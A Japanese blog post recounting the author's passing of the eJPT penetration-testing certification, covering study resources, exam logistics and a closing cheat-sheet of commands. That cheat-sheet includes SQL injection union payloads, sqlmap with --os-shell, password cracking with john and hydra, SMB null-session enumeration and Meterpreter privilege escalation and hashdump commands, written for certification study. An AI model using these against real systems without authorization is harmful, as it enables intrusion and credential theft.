Qiita Teams that are logged in
You are not logged in to any team

Log in to Qiita Team
Community
OrganizationEventAdvent CalendarQiitadon (β)
Service
Qiita JobsQiita ZineQiita Blog
7
Help us understand the problem. What is going on with this article?
@v_avenger

eLearnSecurity Junior Penetration Tester, eJPT 認定受験記〜勉強方法と試験の感想〜

はじめに

2021年6月10日、eLearnSecurity Junior Penetration Tester を受験し、合格しました。
本稿はその受験記録と今後取得を検討される方に向けて対策について紹介します。

email.png
図. eJPT 合格通知メール「You are now an eJPT!」

eLearnSecurity 認定試験の概要

eLearnSecurityは、 ペネトレーションテスター、ネットワークディフェンス、リバースエンジニアリングなどのトレーニング・認定試験を提供しているINE社の一部門です。2019年に買収されました。
INEとは、ITトレーニングを提供する会社です。とくに、シスコシステムズ社が提供するシスコ技術者認定の最高峰である「CCIE(Cisco Certified Internetwork Expert)」に関するトレーニングの「Workbook」や「Training Videos」に定評があります。

INE Expands Cybersecurity Content with eLearnSecurity」, 2019/8/28

eLearnSecurityが提供するのは、サイバーセキュリティスキルを証明するシナリオベースの試験です。Red TeamまたはBlue Teamカテゴリのレベル別に認定があります。
本稿が対象とする「eLearnSecurity Junior Penetration Tester(eJPT)」は、これからペネトレーションテストを学んでいく人に対して基本的なスキルを獲得していることを認定する入門的な内容となっています。

資格の種類

eLearnSecurity認定試験は、2020年1月現在でRed Teamカテゴリが7つ、Blue Teamカテゴリが6つ、合計13種類の認定資格があります。

Red Team - ペネトレーション系:

  • eLearnSecurity Junior Penetration Tester, eJPT
  • eLearnSecurity Certified Professional Penetration Tester, eCPPTv2
  • eLearnSecurity Certified Penetration Tester eXtreme, eCPTX
  • eLearnSecurity Web application Penetration Tester, eWPTv1
  • eLearnSecurity Web application Penetration Tester eXtreme, eWPTX
  • eLearnSecurity Certified eXploit Developer, cCXD
  • eLearnSecurity Mobile Application Penetration Tester, eMAPT

Blue Team - サイバーディフェンス系:

  • eLearnSecurity Network Defense Professional, eNDP
  • eLearnSecurity Certified Incident Responder, eCIR
  • eLearnSecurity Certified Reverse Engineer, eCRE
  • eLearnSecurity Web Defense Professional, eWDP
  • eLearnSecurity Certified Digital Forensics Professional, eCDEP
  • eLearnSecurity Certified Threat Hunting Professional. eCTHPv2
eLearnSecurity.png
図. eLearnSecurity による推奨トレーニングパス(抜粋)

本稿では、Red Teamカテゴリに注目して解説します。認定のレベル(難易度)は低いものから順に、Junior、Professional、eXtremeとなっています。
また、Web Application、eXploit Developer、Mobile Applicationなど特定領域に絞ったペネトレーション知識に関する認定も用意されています。これらはProfessional以上に準じたレベルとなっています。

eLearnSecurity Junior Penetration Tester 試験内容

eJPT 認定の特色は、ブラックボックス化された複数のコンピュータを抱えるネットワークに対して、ペネトレーションテストを実施するということです。オープンブック形式にて行われます。

項目 公式発表
試験 eJPT Certification
試験時間 3日間(72時間)
問題数 20問
合格スコア 15問以上(75%以上)
解答形式 多肢選択試験

20問の問題が四択または二択で出題されます。試験合格には最低でも15問正解する必要があります。
多肢選択試験ですが、記憶した知識を問うような問題ではありません。仮想的に用意されたネットワークへ接続し、実際にペネトレーションテストを行い、そこで収集した情報に基づいて選択する問題です。

TryHackMe における Walkthroughs タイプのルーム」や「HTB Academy」に近い出題です。

クイズエリアと仮想ネットワークには3日間の試験中、自由に行き来することができます。従って、クイズエリアでの解答は、ペネトレーションテスト中またはテスト後、いずれのタイミングで解答するのか受験者は自由に選択することができます。
試験問題は英語です。短文かつ翻訳サイトも使用可能なため言語依存度は低い試験といえます。

公式ドキュメントのHINTS FOR THE BEST OUTCOMEには「クイズに答えながらペネトレーションテストを進めることです。(慎重にクイズを読んでから、仮想ラボでペネトレーションテストを実行してください。」とのアドバイスが記載されています。

取得の目的

eJPT認定にチャレンジする目的として、次の項目を設定しました。

  • ペネトレーションテストに関する技能が体系的に身についていることの確認
  • 上位資格(eCPPTv2, OSCP)の踏み台、練習

出題範囲や公式トレーニングの内容から、eJPT取得に向けての学習がペネトレーションテストに関する技能を体系的に学ぶことができると判断しました。
筆者の前提知識として、eJPT認定以前に、CompTIA PenTest+ などの認定を取得しています。

出題範囲

  • TCP/IP
  • IPルーティング
  • LANプロトコルとデバイス
  • HTTPおよびWebテクノロジー
  • 重要なペネトレーションテストのプロセスと方法論
  • ネットワークの基本的な脆弱性評価
  • Webアプリケーションの基本的な脆弱性評価
  • Metasploitによる悪用
  • 単純なWebアプリケーションの手動による悪用
  • 基本的な情報収集と偵察
  • ターゲットの簡単なスキャンとプロファイリング

公式コース「Penetration Testing Student(PTS)」では「Penetration Testing: Preliminary Skills & Programming」の単元があります。しかし、eJPTの試験において直接的に C++ / Python / Command Line Scripting などコーディング技術について問われることはありませんでした。

学習教材

公式トレーニング

INE STARTER PASS」に登録することで、「Penetration Testing Student(PTS)」を受講することが可能です。
INE STARTER PASSは 登録、受講ともに無料 です。
INE_PTS.png

INE STARTER PASS では、「Penetration Testing Student(PTS)」の他にData Science、Networking、Cloudの分野から次のコースも無料で受講可能です。この特典も活用するとさらにお得です。

  • Cyber Security: Penetration Testing Student
  • Data Science: First steps in Data Science with Python
  • Networking: Starter Pass: Networking Path
  • Cloud: Azure Fundamentals (AZ-900)

トレーニングマテリアルは、38時間13分のコースです。次の「動画」と「ラボ」が無料の範囲に含まれています。

<動画>

  • HTTP(s) Traffic Sniffing
  • Bash Scripting Part 1
  • Bash Scripting Part 2
  • Subdomain Enumeration
  • NMAP OS Fingerprinting
  • NMAP Port Scanning
  • Basic Masscan Usage
  • Nessus
  • Netcat
  • Dirbuster
  • Dirb
  • XSS
  • Backdoor
  • John the Ripper
  • Hashcat
  • Hydra: Authentication Cracking
  • Null Session
  • ARP Spoofing
  • Metasploit
  • Meterpreter
  • Beyond Remote Code Execution
  • Shells

<ラボ>

  • HTTP(S) Traffic Sniffing
  • Scanning and OS Fingerprinting
  • Nessus
  • Dirbuster
  • Cross site scripting
  • SQL Injection
  • Bruteforce and Password cracking
  • Null Session
  • ARP Spoofing
  • Metasploit
  • Black-box Penetration Test 1
  • Black-box Penetration Test 2
  • Black-box Penetration Test 3

eJPT認定に合格することが目的であれば、PTSコースで勉強の進捗を管理しつつ、次に記載するオンライン学習プラットフォームのTryHackMeと併用することでコストを抑え、認定取得を達成することができるはずです。
ラボ、特に3つの「Black-box Penetration Test」は完全に理解できるよう、繰り返し取り組むことを強く推奨します。

上位資格(eCPPTv2、eCPTXなど)の取得を視野に入れている場合には「Cyber Security Pass1999 USD/Year の契約を検討するのもよいでしょう。

2021年5月にINEより「INE’s Premium Plan」へのアップグレードにより、eJPTのバウチャー($200)が無償提供されるオファーがきています。今後もこのようなキャンペーンが開催されることが予測されます。

TryHackMe

TryHackMeは、サイバーセキュリティに携わるうえで必要な知識や技術を、問題を解いていくことで学ぶことのできるオンライン学習プラットフォームです。
そのサブスクリプションは、10 USD/Month(一部の課題は無料)です。
TryHackMeで提供されている「Walkthrough room」では、クラウド上の仮想マシンに接続し、そこから得られる情報をもとに解答していく形式のトレーニングが提供されています。
このため、eJPT認定取得に向けた学習と極めて相性がよいといえます。複数のトレーニングが提供されていますが、eJPT認定の合格を目指す場合「CompTIA PenTest+ Path」の受講を推奨します。
20201109_TryHackMe.png

受験申込み方法

eJPT認定に受験するには、当該試験のバウチャーを購入する必要があります。その手続きは次のとおりです。

  1. eLearnSecurity」のサイトにて、受験する「eJPT Certification」ページへ移動します。
    [ADD VOUCHER TO CART]ボタンをクリックします。
    CART.png

  2. [Cart]にて[Billing Address](住所)や[Review & Payment](決済方法)を確認、入力します。なお、決済手段として用意されているのはPayPalまたはクレジットカードです。
    pay.png

  3. 決済に成功するとeLearnSecurity社から件名:Your eLearnSecurity order is now completeメールが届きます。同メールに領収書がPDFファイルとして添付されています。

  4. 決済完了通知とは別に、Caendra社から件名:Welcome to Caendra件名:Caendra - Password resetメールが届きます。CaendraはeJPT試験を受験するためのシステムです。
    Caendra.png

  5. メールの指示に従って、Caendraのパスワード変更を行い、ログインします。購入したバウチャーには有効期限があります。バウチャーの購入日(例:2021/01/25)から180日間です(例:2021/07/24)。バウチャーの有効期限が切れる前に受験を開始する必要があります。
    eJPT_Exam.png

以降の詳しい受験手順については、公式の「EXAM MANUAL」をご確認ください。

受験プロセス

eJPTでは受験にあたって予約は必要ありません。Begin Certification Processボタンをクリックすると直ちに試験が開始されます。
他のオンライン試験でみられる「Proctor(試験監督者)」はありません。
試験をはじめるとLab(eJPT Exam Scenario)のコントロールとVPN Fileのダウンロードが可能になります。
また、Letter of Engagement(examEJPT.rar)のダウンロードも可能になります。まず、このRAR形式ファイルに含まれるexamEJPT.pdf(5ページ)ドキュメント(含む、試験中に使用するいくつかのファイル)を読むところからはじまります。
ドキュメントの指示に従って、VPN接続し、指定のアドレスに対してPINGを実行してネットワーク接続を確認したら、ペネトレーションテストの開始です。

試験当日の流れ

試験は日本時間の6月9日 13:00より開始し、翌日 23:55に提出しています。

eJPT Exam Details.png

実際には次のようなタイムスケジュールでした。

項目 日時
試験開始 2021年06月09日(水) 13:00〜17:00
休憩(夕食、入浴)
再開 2021年06月09日(水) 20:00〜26:00
休憩(睡眠)
Day2 開始 2021年06月10日(木) 10:00〜12:00
休憩(昼食)
再開 2021年06月10日(木) 13:00〜17:00
休憩(夕食、入浴)
試験終了 2021年06月10日(木) 20:30〜23:55

食事、入浴、睡眠しっかりととって試験に望むことができました。1日目の時点で20問中15問の解答を終えています。
残り5問について、2日目の午前中はまったく進捗が出せませんでした。PTSコースにおける「ラボ」の項目を見返して、一つずつもう一度試すなどしていました。
入浴後に再開し21:30頃に見落としていた点に気づくことができました。リフレッシュ効果が大きかったようです。結果、すべての問題について解答を終えています。
合否判定は即時に画面表示されます。19問正解(95%)の判定にて合格となりました。どの問題が不正解であったのかは表示されません。おそらくあの問題の解釈が間違っていたのだろうなぁと思っていますが、いずれにせよ合格できたので大満足です。

難易度について

前述のとおり、eJPT試験は事実上、実技試験といえます。単に知識として知っているだけではなく、コマンドラインやツールについて慣れていなければ合格は困難です。
課題の難易度は公式コース「Penetration Testing Student(PTS)」で提供されている「Black-box Penetration Test 1 - 3」相当といえます。
eJPTでは ピボッティング を含むネットワークペネトレーションテストの知識・技能を要求しています。この点は VulnHub / HackTheBox / TryHackMe などのマシン攻略型の教育プラットフォームでは学ぶことが困難なポイントについても要求しているのが特徴といえます。
なお、eJPTでは「eLearnSecurity Certified Professional Penetration Tester, eCPPTv2」や「Offensive Security Certified Professional (OSCP)」などで要求されているレポートの提出はありません。この点は気が楽でした。

合格のチュートリアル

ここでは、eJPT試験に合格するために必要となるツールとテクニックの一例について紹介します。

受験時に使用したツール

eJPT試験では受験時におけるツールに関して制限はありません。MetasploitsqlmapなどAutomatic exploitation toolや商用ツールについても使用制限はありません。
私はVMware FusionKali Linux 2021年1月版を導入して試験に臨みました。

VMware Fusion.png

アウトラインプロセッサ

eJPT試験では指定されたネットワークに対してブラックボックス ペネトレーションテストを行います。
そこで明らかとなった事項を随時まとめる方法としてアウトラインプロセッサの CherryTree を使用しました。
James Hallが提供しているCTF_templateテンプレートをベースにeJPT試験向けにカスタマイズを行いました。
試験中、入力したコマンドや結果における重要な発見箇所については文字色の変更を行いました。また、DirBusterOWASP ZAPなどGUIツールの実行結果については画面キャプチャを添付しておきました。

CherryTree.png
図. PTSコースにおける「Black-box Penetration Test 2」の内容をCherryTreeにてまとめた様子

PCAPファイルの解析

Wiresharkにおける統計(Statistics) > 終端(Endpoints)機能の使い方を確認しておくとよいです。

ルーティング

ip route add ROUTETO via ROUTEFROM

列挙

Ping Sweep

fping -a -g <subnet IP address>/24 2>/dev/null
sudo nmap -sn <subnet IP address>/24

Nmap

簡易スキャン

nmap -Pn -T4 -A <IP address>

フルスキャン

sudo nmap -sV -n -v -Pn -p- -T4 -A <IP address>

Web アプリケーション

Banner Grabbing

nc <IP address> <port>
HEAD / HTTP/1.0
whatweb -v <IP address>
httprint -P0 -s /usr/share/httprint/signatures.txt -h http://<IP address>

Directory and File Scanning

dirb http://<IP address>/
dirbuster

Cross Site Scripting (XSS)

OWASP ZAP

zaproxy

SQL Injection

  1. .php?id=-1%20union%20select%201,2,version()--
  2. .php?id=-1%20union%20select%201,2,database()--
  3. .php?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--

SQLMap

sqlmap -u http:/<IP address>/ --dbs
sqlmap -u http://<IP address>/ -p parameter
sqlmap -u http://<IP address>/ --tables
sqlmap -u http://<IP address>/ --dump
sqlmap -u http://<IP address>/ --os-shell
sqlmap -u http://<IP address>/ --sql-shell

System Attacks

Password Attacks

Unshadow

unshadow passwd shadow > unshadow.txt

Hash Cracking

john --wordlist=/usr/share/wordlists/rockyou.txt unshadow.txt

Network Attacks

Brute Forcing with Hydra

hydra -L users.txt -P pass.txt <IP address> ftp

Windows Shares Using Null sessions

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse <IP address>
nbtscan <IP address>
enum4linux -a <IP address>
smbmap -R [PATH] -H <IP address>
smbclient -N -U "" //<IP address>/[PATH]

Metasploit

Basic Metasploit Commands

search x
use x
info
show options, show advanced options
SET X (e.g. set RHOST 10.10.10.10, set payload x)

Meterpreter

background
sessions -l
sessions -i 1
sysinfo, ifconfig, route, getuid
getsystem (privesc)
bypassuac
download x /root/
upload x C:\\Windows
shell
use post/windows/gather/hashdump

合格後のアクティビティ

eJPTの取得を通じて学んだ内容を体系的にとりまとめ、Udemyにて講座として開設しました。

オフェンシブな資格認定

認定組織 資格情報の略語 認定タイトル
Offensive Security OSCP Offensive Security Certified Professional
OSEP Offensive Security Experienced Penetration Tester
GIAC GPEN GIAC Penetration Tester
GXPN GIAC Exploit Researcher and Advanced Penetration Tester
eLearnSecurity eJPT eLearnSecurity Junior Penetration Tester
eCPPT eLearnSecurity Certified Professional Penetration Tester
CompTIA PenTest+ CompTIA PenTest+

最後に、自分に向けて『汝、驕ること無かれ。謙虚に、そして逞しく生きよ』

参考情報

7
Help us understand the problem. What is going on with this article?
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
7
Help us understand the problem. What is going on with this article?